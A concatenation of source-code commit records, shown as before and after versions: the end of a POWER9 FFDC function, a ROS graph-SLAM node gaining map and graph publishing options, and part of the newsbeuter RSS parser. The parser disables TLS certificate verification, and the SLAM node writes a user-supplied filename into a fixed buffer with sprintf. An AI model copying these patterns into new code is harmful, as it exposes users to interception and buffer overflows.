i_pFfdcBuf )\n {\n FAPI_IMP(\">> p9_pm_recovery_ffdc_cme\" );\n PlatCme l_cmeFfdc( i_procChip );\n FAPI_TRY( l_cmeFfdc.collectFfdc( i_pFfdcBuf ),\n \"Failed To Collect CME FFDC\" );\n\n fapi_try_exit:\n FAPI_IMP(\"<< p9_pm_recovery_ffdc_cme\" );\n return fapi2::current_err;\n }\n\n}\n\n }\/\/namespace p9_stop_recov_ffdc ends\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2013, Maria Teresa Lazaro Grañon\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without modification,\n\/\/ are permitted provided that the following conditions are met:\n\/\/\n\/\/ Redistributions of source code must retain the above copyright notice, this\n\/\/ list of conditions and the following disclaimer.\n\/\/\n\/\/ Redistributions in binary form must reproduce the above copyright notice, this\n\/\/ list of conditions and the following disclaimer in the documentation and\/or\n\/\/ other materials provided with the distribution.\n\/\/\n\/\/ Neither the name of the copyright holder nor the names of its\n\/\/ contributors may be used to endorse or promote products derived from\n\/\/ this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n\/\/ ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n\/\/ WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n\/\/ DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\n\/\/ ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n\/\/ (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n\/\/ LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n\/\/ ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n\/\/ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n#include \"g2o\/stuff\/command_args.h\"\n\n#include <string>\n#include <sstream> \n\n#include \"slam\/graph_slam.h\"\n#include \"ros_utils\/ros_handler.h\"\n#include \"ros_utils\/graph_ros_publisher.h\"\n\n#include \"ros_map_publisher\/graph2occupancy.h\"\n#include \"ros_map_publisher\/occupancy_map_server.h\"\n\n\nusing namespace g2o;\n\n#include <sys\/time.h>\n\/\/Log files\nint logData;\nofstream timesfile, bytesfile;\ndouble timeval_diff(struct timeval *a, struct timeval *b)\n{\n return\n (double)(a->tv_sec + (double)a->tv_usec\/1000000) -\n (double)(b->tv_sec + (double)b->tv_usec\/1000000);\n}\n\nint main(int argc, char **argv)\n{\n\n CommandArgs arg;\n double resolution;\n double maxScore;\n double kernelRadius;\n int minInliers;\n int windowLoopClosure;\n double inlierThreshold;\n int idRobot;\n int nRobots;\n std::string outputFilename;\n std::string odometryTopic, scanTopic, odomFrame, mapFrame, baseFrame;\n std::vector<double> initialPose;\n initialPose.clear();\n bool publishTransform;\n\n float localizationAngularUpdate, localizationLinearUpdate;\n float maxRange, usableRange;\n\n arg.param(\"resolution\", resolution, 0.025, \"resolution of the matching grid\");\n arg.param(\"maxScore\", maxScore, 0.15, \"score of the matcher, the higher the less matches\");\n arg.param(\"kernelRadius\", kernelRadius, 0.2, \"radius of the convolution kernel\");\n arg.param(\"minInliers\", minInliers, 7, \"min inliers\");\n arg.param(\"windowLoopClosure\", windowLoopClosure, 10, \"sliding window for loop closures\");\n arg.param(\"inlierThreshold\", inlierThreshold, 2., \"inlier threshold\");\n arg.param(\"idRobot\", idRobot, 0, \"robot identifier\" );\n arg.param(\"nRobots\", nRobots, 1, \"number of robots\" );\n arg.param(\"angularUpdate\", localizationAngularUpdate, M_PI_4, \"angular rotation interval for updating the graph, in radians\");\n arg.param(\"linearUpdate\", localizationLinearUpdate, 0.25, \"linear translation interval for updating the graph, in meters\");\n arg.param(\"odometryTopic\", odometryTopic, \"odom\", \"odometry ROS topic\");\n arg.param(\"scanTopic\", scanTopic, \"scan\", \"scan ROS topic\");\n arg.param(\"odomFrame\", odomFrame, \"odom\", \"odom frame\");\n arg.param(\"mapFrame\", mapFrame, \"map\", \"map frame\");\n arg.param(\"baseFrame\", baseFrame, \"\/base_link\", \"base robot frame\");\n arg.param(\"initialPose\", initialPose, std::vector<double>(), \"Pose of the first vertex in the graph. Usage: -initial_pose 0,0,0\");\n arg.param(\"publishTransform\", publishTransform, false, \"Publish map transform\");\n arg.param(\"o\", outputFilename, \"\", \"file where to save output\");\n arg.parseArgs(argc, argv);\n\n \/\/map parameters\n float mapResolution = 0.05;\n float occupiedThreshold = 0.65; \n float rows = 0;\n float cols = 0;\n float gain = 3.0;\n float squareSize = 0;\n float angle = M_PI_2;\n float freeThreshold = 0.196;\n\n\n ros::init(argc, argv, \"srslam\");\n\n RosHandler rh(idRobot, nRobots, REAL_EXPERIMENT);\n rh.setOdomTopic(odometryTopic);\n rh.setScanTopic(scanTopic);\n rh.setBaseFrame(baseFrame);\n rh.useOdom(true);\n rh.useLaser(true);\n rh.init();\n rh.run();\n\n maxRange = rh.getLaserMaxRange();\n usableRange = maxRange;\n\n \n \/\/For estimation\n SE2 currEst = rh.getOdom();\n std::cout << \"My initial position is: \" << currEst.translation().x() << \" \" << currEst.translation().y() << \" \" << currEst.rotation().angle() << std::endl;\n SE2 odomPosk_1 = currEst;\n std::cout << \"My initial odometry is: \" << odomPosk_1.translation().x() << \" \" << odomPosk_1.translation().y() << \" \" << odomPosk_1.rotation().angle() << std::endl;\n\n \/\/Graph building\n GraphSLAM gslam;\n gslam.setIdRobot(idRobot);\n int baseId = 10000;\n gslam.setBaseId(baseId);\n gslam.init(resolution, kernelRadius, windowLoopClosure, maxScore, inlierThreshold, minInliers);\n\n \/\/Map building\n cv::Mat occupancyMap;\n Eigen::Vector2f mapCenter;\n \n Graph2occupancy mapCreator(gslam.graph(), &occupancyMap, currEst, mapResolution, occupiedThreshold, rows, cols, maxRange, usableRange, gain, squareSize, angle, freeThreshold);\n OccupancyMapServer mapServer(&occupancyMap, idRobot, SIM_EXPERIMENT, mapFrame, occupiedThreshold, freeThreshold);\n\n\n RobotLaser* rlaser = rh.getLaser();\n\n gslam.setInitialData(currEst, odomPosk_1, rlaser);\n \n GraphRosPublisher graphPublisher(gslam.graph(), mapFrame, odomFrame);\n if (publishTransform)\n graphPublisher.publishMapTransform(gslam.lastVertex()->estimate(), odomPosk_1);\n\n char buf[100];\n sprintf(buf, \"robot-%i-%s\", idRobot, outputFilename.c_str());\n ofstream ofmap(buf);\n gslam.graph()->saveVertex(ofmap, gslam.lastVertex());\n\n mapCreator.computeMap();\n \n mapCenter = mapCreator.getMapCenter();\n mapServer.setOffset(mapCenter);\n mapServer.setResolution(mapResolution);\n mapServer.publishMapMetaData();\n mapServer.publishMap();\n\n\n ros::Rate loop_rate(10);\n while (ros::ok()){\n ros::spinOnce();\n\n SE2 odomPosk = rh.getOdom(); \/\/current odometry\n SE2 relodom = odomPosk_1.inverse() * odomPosk;\n currEst *= relodom;\n\n odomPosk_1 = odomPosk;\n\n if((distanceSE2(gslam.lastVertex()->estimate(), currEst) > localizationLinearUpdate) || \n (fabs(gslam.lastVertex()->estimate().rotation().angle()-currEst.rotation().angle()) > localizationAngularUpdate)){\n \/\/Add new data\n RobotLaser* laseri = rh.getLaser();\n\n gslam.addDataSM(odomPosk, laseri);\n gslam.findConstraints();\n \n struct timeval t_ini, t_fin;\n double secs;\n gettimeofday(&t_ini, NULL);\n gslam.optimize(5);\n gettimeofday(&t_fin, NULL);\n\n secs = timeval_diff(&t_fin, &t_ini);\n printf(\"Optimization took %.16g milliseconds\\n\", secs * 1000.0);\n\n currEst = gslam.lastVertex()->estimate();\n char buf[100];\n sprintf(buf, \"robot-%i-%s\", idRobot, outputFilename.c_str());\n gslam.saveGraph(buf);\n \n \/\/Publish graph to visualize it on Rviz\n graphPublisher.publishGraph();\n \/\/Publish map transform with corrected estimate\n if (publishTransform)\n\tgraphPublisher.publishMapTransform(gslam.lastVertex()->estimate(), odomPosk_1);\n\n\n mapCreator.computeMap();\n mapCenter = mapCreator.getMapCenter();\n mapServer.setOffset(mapCenter);\n\n\n }else {\n \/\/Publish map transform with last corrected estimate + odometry drift\n if (publishTransform)\n\tgraphPublisher.publishMapTransform(currEst, odomPosk_1);\n }\n\n mapServer.publishMapMetaData();\n mapServer.publishMap();\n \n\n loop_rate.sleep();\n }\n \n cerr << \"Last Optimization...\";\n gslam.optimize(5);\n gslam.saveGraph(buf);\n cerr << \"Done\" << endl;\n\n return 0;\n}\n<commit_msg>updated srslam with params initialPose, publishMap and publishGraph<commit_after>\/\/ Copyright (c) 2013, Maria Teresa Lazaro Grañon\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without modification,\n\/\/ are permitted provided that the following conditions are met:\n\/\/\n\/\/ Redistributions of source code must retain the above copyright notice, this\n\/\/ list of conditions and the following disclaimer.\n\/\/\n\/\/ Redistributions in binary form must reproduce the above copyright notice, this\n\/\/ list of conditions and the following disclaimer in the documentation and\/or\n\/\/ other materials provided with the distribution.\n\/\/\n\/\/ Neither the name of the copyright holder nor the names of its\n\/\/ contributors may be used to endorse or promote products derived from\n\/\/ this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n\/\/ ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n\/\/ WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n\/\/ DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\n\/\/ ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n\/\/ (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n\/\/ LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n\/\/ ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n\/\/ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n#include \"g2o\/stuff\/command_args.h\"\n\n#include <string>\n#include <sstream> \n\n#include \"slam\/graph_slam.h\"\n#include \"ros_utils\/ros_handler.h\"\n#include \"ros_utils\/graph_ros_publisher.h\"\n\n#include \"ros_map_publisher\/graph2occupancy.h\"\n#include \"ros_map_publisher\/occupancy_map_server.h\"\n\n\nusing namespace g2o;\n\n#include <sys\/time.h>\n\/\/Log files\nint logData;\nofstream timesfile, bytesfile;\ndouble timeval_diff(struct timeval *a, struct timeval *b)\n{\n return\n (double)(a->tv_sec + (double)a->tv_usec\/1000000) -\n (double)(b->tv_sec + (double)b->tv_usec\/1000000);\n}\n\nint main(int argc, char **argv)\n{\n\n CommandArgs arg;\n double resolution;\n double maxScore;\n double kernelRadius;\n int minInliers;\n int windowLoopClosure;\n double inlierThreshold;\n int idRobot;\n int nRobots;\n std::string outputFilename;\n std::string odometryTopic, scanTopic, odomFrame, mapFrame, baseFrame;\n std::vector<double> initialPose;\n initialPose.clear();\n bool publishMap, publishGraph;\n\n float localizationAngularUpdate, localizationLinearUpdate;\n float maxRange, usableRange;\n\n arg.param(\"resolution\", resolution, 0.025, \"resolution of the matching grid\");\n arg.param(\"maxScore\", maxScore, 0.15, \"score of the matcher, the higher the less matches\");\n arg.param(\"kernelRadius\", kernelRadius, 0.2, \"radius of the convolution kernel\");\n arg.param(\"minInliers\", minInliers, 7, \"min inliers\");\n arg.param(\"windowLoopClosure\", windowLoopClosure, 10, \"sliding window for loop closures\");\n arg.param(\"inlierThreshold\", inlierThreshold, 2., \"inlier threshold\");\n arg.param(\"idRobot\", idRobot, 0, \"robot identifier\" );\n arg.param(\"nRobots\", nRobots, 1, \"number of robots\" );\n arg.param(\"angularUpdate\", localizationAngularUpdate, M_PI_4, \"angular rotation interval for updating the graph, in radians\");\n arg.param(\"linearUpdate\", localizationLinearUpdate, 0.25, \"linear translation interval for updating the graph, in meters\");\n arg.param(\"odometryTopic\", odometryTopic, \"odom\", \"odometry ROS topic\");\n arg.param(\"scanTopic\", scanTopic, \"scan\", \"scan ROS topic\");\n arg.param(\"odomFrame\", odomFrame, \"odom\", \"odom frame\");\n arg.param(\"mapFrame\", mapFrame, \"map\", \"map frame\");\n arg.param(\"baseFrame\", baseFrame, \"\/base_link\", \"base robot frame\");\n arg.param(\"initialPose\", initialPose, std::vector<double>(), \"Pose of the first vertex in the graph. Usage: -initial_pose 0,0,0\");\n arg.param(\"publishMap\", publishMap, false, \"Publish map\");\n arg.param(\"publishGraph\", publishGraph, false, \"Publish graph\");\n arg.param(\"o\", outputFilename, \"\", \"file where to save output\");\n arg.parseArgs(argc, argv);\n\n \/\/map parameters\n float mapResolution = 0.05;\n float occupiedThreshold = 0.65; \n float rows = 0;\n float cols = 0;\n float gain = 3.0;\n float squareSize = 0;\n float angle = M_PI_2;\n float freeThreshold = 0.196;\n\n\n ros::init(argc, argv, \"srslam\");\n\n RosHandler rh(idRobot, nRobots, REAL_EXPERIMENT);\n rh.setOdomTopic(odometryTopic);\n rh.setScanTopic(scanTopic);\n rh.setBaseFrame(baseFrame);\n rh.useOdom(true);\n rh.useLaser(true);\n rh.init();\n rh.run();\n\n maxRange = rh.getLaserMaxRange();\n usableRange = maxRange;\n\n \/\/For estimation\n SE2 currEst;\n SE2 odomPosk_1 = rh.getOdom();\n if (initialPose.size()){\n if (initialPose.size()==3){\n currEst = SE2(initialPose[0],initialPose[1],initialPose[2]);\n }else {\n std::cerr << \"Error. Provide a valid initial pose (x, y, theta)\" << std::endl;\n exit(0);\n }\n }else{\n currEst = odomPosk_1;\n }\n \n std::cout << \"My initial position is: \" << currEst.translation().x() << \" \" << currEst.translation().y() << \" \" << currEst.rotation().angle() << std::endl;\n std::cout << \"My initial odometry is: \" << odomPosk_1.translation().x() << \" \" << odomPosk_1.translation().y() << \" \" << odomPosk_1.rotation().angle() << std::endl;\n\n \/\/Graph building\n GraphSLAM gslam;\n gslam.setIdRobot(idRobot);\n int baseId = 10000;\n gslam.setBaseId(baseId);\n gslam.init(resolution, kernelRadius, windowLoopClosure, maxScore, inlierThreshold, minInliers);\n\n RobotLaser* rlaser = rh.getLaser();\n\n gslam.setInitialData(currEst, rlaser);\n\n cv::Mat occupancyMap;\n Eigen::Vector2f mapCenter;\n\n \/\/Map building\n Graph2occupancy mapCreator(gslam.graph(), &occupancyMap, currEst, mapResolution, occupiedThreshold, rows, cols, maxRange, usableRange, gain, squareSize, angle, freeThreshold);\n OccupancyMapServer mapServer(&occupancyMap, idRobot, SIM_EXPERIMENT, mapFrame, occupiedThreshold, freeThreshold);\n GraphRosPublisher graphPublisher(gslam.graph(), mapFrame, odomFrame);\n \n if (publishMap){\n mapCreator.computeMap();\n \n mapCenter = mapCreator.getMapCenter();\n mapServer.setOffset(mapCenter);\n mapServer.setResolution(mapResolution);\n mapServer.publishMapMetaData();\n mapServer.publishMap();\n }\n\n if (publishGraph)\n graphPublisher.publishGraph();\n\n if (publishMap || publishGraph)\n graphPublisher.publishMapTransform(gslam.lastVertex()->estimate(), odomPosk_1);\n\n \/\/Saving g2o file\n\n char buf[100];\n sprintf(buf, \"robot-%i-%s\", idRobot, outputFilename.c_str());\n ofstream ofmap(buf);\n gslam.graph()->saveVertex(ofmap, gslam.lastVertex());\n\n \n ros::Rate loop_rate(10);\n while (ros::ok()){\n ros::spinOnce();\n\n SE2 odomPosk = rh.getOdom(); \/\/current odometry\n SE2 relodom = odomPosk_1.inverse() * odomPosk;\n currEst *= relodom;\n\n odomPosk_1 = odomPosk;\n\n if((distanceSE2(gslam.lastVertex()->estimate(), currEst) > localizationLinearUpdate) || \n (fabs(gslam.lastVertex()->estimate().rotation().angle()-currEst.rotation().angle()) > localizationAngularUpdate)){\n \/\/Add new data\n RobotLaser* laseri = rh.getLaser();\n\n gslam.addDataSM(currEst, laseri);\n gslam.findConstraints();\n \n struct timeval t_ini, t_fin;\n double secs;\n gettimeofday(&t_ini, NULL);\n gslam.optimize(5);\n gettimeofday(&t_fin, NULL);\n\n secs = timeval_diff(&t_fin, &t_ini);\n printf(\"Optimization took %.16g milliseconds\\n\", secs * 1000.0);\n\n currEst = gslam.lastVertex()->estimate();\n char buf[100];\n sprintf(buf, \"robot-%i-%s\", idRobot, outputFilename.c_str());\n gslam.saveGraph(buf);\n\n if (publishMap || publishGraph)\n\tgraphPublisher.publishMapTransform(gslam.lastVertex()->estimate(), odomPosk_1);\n\n \/\/Publish graph to visualize it on Rviz\n if (publishGraph)\n\tgraphPublisher.publishGraph();\n \n if (publishMap){\n\t\/\/Update map\n mapCreator.computeMap();\n mapCenter = mapCreator.getMapCenter();\n mapServer.setOffset(mapCenter);\n }\n\n }else {\n \/\/Publish map transform with last corrected estimate + odometry drift\n if (publishMap || publishGraph)\n\tgraphPublisher.publishMapTransform(currEst, odomPosk_1);\n }\n \n \/\/Publish map\n if (publishMap){\n mapServer.publishMapMetaData();\n mapServer.publishMap();\n }\n\n loop_rate.sleep();\n }\n \n cerr << \"Last Optimization...\";\n gslam.optimize(5);\n gslam.saveGraph(buf);\n cerr << \"Done\" << endl;\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/* rsspp - Copyright (C) 2008-2012 Andreas Krennmair <ak@newsbeuter.org>\n * Licensed under the MIT\/X Consortium License. See file LICENSE\n * for more information.\n *\/\n\n#include <config.h>\n#include <rsspp.h>\n#include <rsspp_internal.h>\n#include <libxml\/parser.h>\n#include <libxml\/tree.h>\n#include <curl\/curl.h>\n#include <logger.h>\n#include <utils.h>\n#include <cstring>\n#include <utils.h>\n#include <remote_api.h>\n\nusing namespace newsbeuter;\n\nstatic size_t my_write_data(void *buffer, size_t size, size_t nmemb, void *userp) {\n\tstd::string * pbuf = static_cast<std::string *>(userp);\n\tpbuf->append(static_cast<const char *>(buffer), size * nmemb);\n\treturn size * nmemb;\n}\n\nnamespace rsspp {\n\nparser::parser(unsigned int timeout, const char * user_agent, const char * proxy, const char * proxy_auth, curl_proxytype proxy_type) \n\t: to(timeout), ua(user_agent), prx(proxy), prxauth(proxy_auth), prxtype(proxy_type), doc(0), lm(0) {\n}\n\nparser::~parser() {\n\tif (doc)\n\t\txmlFreeDoc(doc);\n}\n\nstruct header_values {\n\ttime_t lastmodified;\n\tstd::string etag;\n\n\theader_values()\n\t\t: lastmodified(0)\n\t{\n\t}\n};\n\nstatic size_t handle_headers(void * ptr, size_t size, size_t nmemb, void * data) {\n\tchar * header = new char[size*nmemb + 1];\n\theader_values * values = (header_values *)data;\n\n\tmemcpy(header, ptr, size*nmemb);\n\theader[size*nmemb] = '\\0';\n\n\tif (!strncasecmp(\"Last-Modified:\", header, 14)) {\n\t\ttime_t r = curl_getdate(header+14, NULL);\n\t\tif (r == -1) {\n\t\t\tLOG(LOG_DEBUG, \"handle_headers: last-modified %s (curl_getdate FAILED)\", header+14);\n\t\t} else {\n\t\t\tvalues->lastmodified = curl_getdate(header+14, NULL);\n\t\t\tLOG(LOG_DEBUG, \"handle_headers: got last-modified %s (%d)\", header+14, values->lastmodified);\n\t\t}\n\t} else if (!strncasecmp(\"ETag:\",header, 5)) {\n\t\tvalues->etag = std::string(header+5);\n\t\tutils::trim(values->etag);\n\t\tLOG(LOG_DEBUG, \"handle_headers: got etag %s\", values->etag.c_str());\n\t}\n\n\tdelete[] header;\n\n\treturn size * nmemb;\n}\n\nfeed parser::parse_url(const std::string& url, time_t lastmodified, const std::string& etag, newsbeuter::remote_api * api, const std::string& cookie_cache, CURL *ehandle) {\n\tstd::string buf;\n\tCURLcode ret;\n\n\tCURL * easyhandle = ehandle;\n\tif (!easyhandle) {\n\t\teasyhandle = curl_easy_init();\n\t\tif (!easyhandle) {\n\t\t\tthrow exception(_(\"couldn't initialize libcurl\"));\n\t\t}\n\t}\n\n\tif (ua) {\n\t\tcurl_easy_setopt(easyhandle, CURLOPT_USERAGENT, ua);\n\t}\n\tif (api) {\n\t\tapi->configure_handle(easyhandle);\n\t}\n\tcurl_easy_setopt(easyhandle, CURLOPT_URL, url.c_str());\n\tcurl_easy_setopt(easyhandle, CURLOPT_SSL_VERIFYPEER, 0);\n\tcurl_easy_setopt(easyhandle, CURLOPT_WRITEFUNCTION, my_write_data);\n\tcurl_easy_setopt(easyhandle, CURLOPT_WRITEDATA, &buf);\n\tcurl_easy_setopt(easyhandle, CURLOPT_NOSIGNAL, 1);\n\tcurl_easy_setopt(easyhandle, CURLOPT_FOLLOWLOCATION, 1);\n\tcurl_easy_setopt(easyhandle, CURLOPT_MAXREDIRS, 10);\n\tcurl_easy_setopt(easyhandle, CURLOPT_FAILONERROR, 1);\n\tcurl_easy_setopt(easyhandle, CURLOPT_ENCODING, \"gzip, deflate\");\n\tif (cookie_cache != \"\") {\n\t\tcurl_easy_setopt(easyhandle, CURLOPT_COOKIEFILE, cookie_cache.c_str());\n\t\tcurl_easy_setopt(easyhandle, CURLOPT_COOKIEJAR, cookie_cache.c_str());\n\t}\n\tif (to != 0)\n\t\tcurl_easy_setopt(easyhandle, CURLOPT_TIMEOUT, to);\n\n\tif (prx)\n\t\tcurl_easy_setopt(easyhandle, CURLOPT_PROXY, prx);\n\n\tif (prxauth) {\n\t\tcurl_easy_setopt(easyhandle, CURLOPT_PROXYAUTH, CURLAUTH_ANY);\n\t\tcurl_easy_setopt(easyhandle, CURLOPT_PROXYUSERPWD, prxauth);\n\t}\n\n\tcurl_easy_setopt(easyhandle, CURLOPT_PROXYTYPE, prxtype);\n\n\theader_values hdrs;\n\tcurl_easy_setopt(easyhandle, CURLOPT_HEADERDATA, &hdrs);\n\tcurl_easy_setopt(easyhandle, CURLOPT_HEADERFUNCTION, handle_headers);\n\n\tcurl_easy_setopt(easyhandle, CURLOPT_TIMECONDITION, CURL_TIMECOND_IFMODSINCE);\n\tif (lastmodified != 0)\n\t\tcurl_easy_setopt(easyhandle, CURLOPT_TIMEVALUE, lastmodified);\n\telse\n\t\tcurl_easy_setopt(easyhandle, CURLOPT_TIMEVALUE, 0);\n\n\tcurl_slist * custom_headers = NULL;\n\tif (etag.length() > 0) {\n\t\tcustom_headers = curl_slist_append(custom_headers, utils::strprintf(\"If-None-Match: %s\", etag.c_str()).c_str());\n\t\tcurl_easy_setopt(easyhandle, CURLOPT_HTTPHEADER, custom_headers);\n\t}\n\n\tret = curl_easy_perform(easyhandle);\n\n\tlm = hdrs.lastmodified;\n\tet = hdrs.etag;\n\n\tif (custom_headers) {\n\t\tcurl_easy_setopt(easyhandle, CURLOPT_HTTPHEADER, 0);\n\t\tcurl_slist_free_all(custom_headers);\n\t}\n\n\tLOG(LOG_DEBUG, \"rsspp::parser::parse_url: ret = %d\", ret);\n\n\tlong status;\n\tcurl_easy_getinfo(easyhandle, CURLINFO_HTTP_CONNECTCODE, &status);\n\n\tif (status >= 400) {\n\t\tLOG(LOG_USERERROR, _(\"Error: trying to download feed `%s' returned HTTP status code %ld.\"), url.c_str(), status);\n\t}\n\n\tif (!ehandle)\n\t\tcurl_easy_cleanup(easyhandle);\n\n\tif (ret != 0) {\n\t\tLOG(LOG_ERROR, \"rsspp::parser::parse_url: curl_easy_perform returned err %d: %s\", ret, curl_easy_strerror(ret));\n\t\tthrow exception(curl_easy_strerror(ret));\n\t}\n\n\tLOG(LOG_INFO, \"parser::parse_url: retrieved data for %s: %s\", url.c_str(), buf.c_str());\n\n\tif (buf.length() > 0) {\n\t\tLOG(LOG_DEBUG, \"parser::parse_url: handing over data to parse_buffer()\");\n\t\treturn parse_buffer(buf.c_str(), buf.length(), url.c_str());\n\t}\n\n\treturn feed();\n}\n\nfeed parser::parse_buffer(const char * buffer, size_t size, const char * url) {\n\tdoc = xmlReadMemory(buffer, size, url, NULL, XML_PARSE_RECOVER | XML_PARSE_NOERROR | XML_PARSE_NOWARNING);\n\tif (doc == NULL) {\n\t\tthrow exception(_(\"could not parse buffer\"));\n\t}\n\n\txmlNode* root_element = xmlDocGetRootElement(doc);\n\n\tfeed f = parse_xmlnode(root_element);\n\n\tif (doc->encoding) {\n\t\tf.encoding = (const char *)doc->encoding;\n\t}\n\n\tLOG(LOG_INFO, \"parser::parse_buffer: encoding = %s\", f.encoding.c_str());\n\n\treturn f;\n}\n\nfeed parser::parse_file(const std::string& filename) {\n\tdoc = xmlReadFile(filename.c_str(), NULL, XML_PARSE_RECOVER | XML_PARSE_NOERROR | XML_PARSE_NOWARNING);\n\tif (doc == NULL) {\n\t\tthrow exception(_(\"could not parse file\"));\n\t}\n\n\txmlNode* root_element = xmlDocGetRootElement(doc);\n\n\tfeed f = parse_xmlnode(root_element);\n\n\tif (doc->encoding) {\n\t\tf.encoding = (const char *)doc->encoding;\n\t}\n\n\tLOG(LOG_INFO, \"parser::parse_file: encoding = %s\", f.encoding.c_str());\n\n\treturn f;\n}\n\nfeed parser::parse_xmlnode(xmlNode* node) {\n\tfeed f;\n\n\tif (node) {\n\t\tif (node->name && node->type == XML_ELEMENT_NODE) {\n\t\t\tif (strcmp((const char *)node->name, \"rss\")==0) {\n\t\t\t\tconst char * version = (const char *)xmlGetProp(node, (const xmlChar *)\"version\");\n\t\t\t\tif (!version) {\n\t\t\t\t\txmlFree((void *)version);\n\t\t\t\t\tthrow exception(_(\"no RSS version\"));\n\t\t\t\t}\n\t\t\t\tif (strcmp(version, \"0.91\")==0)\n\t\t\t\t\tf.rss_version = RSS_0_91;\n\t\t\t\telse if (strcmp(version, \"0.92\")==0)\n\t\t\t\t\tf.rss_version = RSS_0_92;\n\t\t\t\telse if (strcmp(version, \"0.94\")==0)\n\t\t\t\t\tf.rss_version = RSS_0_94;\n\t\t\t\telse if (strcmp(version, \"2.0\")==0 || strcmp(version, \"2\")==0)\n\t\t\t\t\tf.rss_version = RSS_2_0;\n\t\t\t\telse {\n\t\t\t\t\txmlFree((void *)version);\n\t\t\t\t\tthrow exception(_(\"invalid RSS version\"));\n\t\t\t\t}\n\t\t\t\txmlFree((void *)version);\n\t\t\t} else if (strcmp((const char *)node->name, \"RDF\")==0) {\n\t\t\t\tf.rss_version = RSS_1_0;\n\t\t\t} else if (strcmp((const char *)node->name, \"feed\")==0) {\n\t\t\t\tif (node->ns && node->ns->href) {\n\t\t\t\t\tif (strcmp((const char *)node->ns->href, ATOM_0_3_URI)==0) {\n\t\t\t\t\t\tf.rss_version = ATOM_0_3;\n\t\t\t\t\t} else if (strcmp((const char *)node->ns->href, ATOM_1_0_URI)==0) {\n\t\t\t\t\t\tf.rss_version = ATOM_1_0;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tconst char * version = (const char *)xmlGetProp(node, (const xmlChar *)\"version\");\n\t\t\t\t\t\tif (!version) {\n\t\t\t\t\t\t\txmlFree((void *)version);\n\t\t\t\t\t\t\tthrow exception(_(\"invalid Atom version\"));\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (strcmp(version, \"0.3\")==0) {\n\t\t\t\t\t\t\txmlFree((void *)version);\n\t\t\t\t\t\t\tf.rss_version = ATOM_0_3_NONS;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\txmlFree((void *)version);\n\t\t\t\t\t\t\tthrow exception(_(\"invalid Atom version\"));\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tthrow exception(_(\"no Atom version\"));\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tstd::tr1::shared_ptr<rss_parser> parser = rss_parser_factory::get_object(f, doc);\n\n\t\t\ttry {\n\t\t\t\tparser->parse_feed(f, node);\n\t\t\t} catch (exception& e) {\n\t\t\t\tthrow;\n\t\t\t}\n\t\t}\n\t} else {\n\t\tthrow exception(_(\"XML root node is NULL\"));\n\t}\n\n\treturn f;\n}\n\nvoid parser::global_init() {\n\tLIBXML_TEST_VERSION\n\tcurl_global_init(CURL_GLOBAL_ALL);\n}\n\nvoid parser::global_cleanup() {\n\txmlCleanupParser();\n\tcurl_global_cleanup();\n}\n\n\n}\n<commit_msg>only set If-Modified-Since header if lastmodified != 0.<commit_after>\/* rsspp - Copyright (C) 2008-2012 Andreas Krennmair <ak@newsbeuter.org>\n * Licensed under the MIT\/X Consortium License. See file LICENSE\n * for more information.\n *\/\n\n#include <config.h>\n#include <rsspp.h>\n#include <rsspp_internal.h>\n#include <libxml\/parser.h>\n#include <libxml\/tree.h>\n#include <curl\/curl.h>\n#include <logger.h>\n#include <utils.h>\n#include <cstring>\n#include <utils.h>\n#include <remote_api.h>\n\nusing namespace newsbeuter;\n\nstatic size_t my_write_data(void *buffer, size_t size, size_t nmemb, void *userp) {\n\tstd::string * pbuf = static_cast<std::string *>(userp);\n\tpbuf->append(static_cast<const char *>(buffer), size * nmemb);\n\treturn size * nmemb;\n}\n\nnamespace rsspp {\n\nparser::parser(unsigned int timeout, const char * user_agent, const char * proxy, const char * proxy_auth, curl_proxytype proxy_type) \n\t: to(timeout), ua(user_agent), prx(proxy), prxauth(proxy_auth), prxtype(proxy_type), doc(0), lm(0) 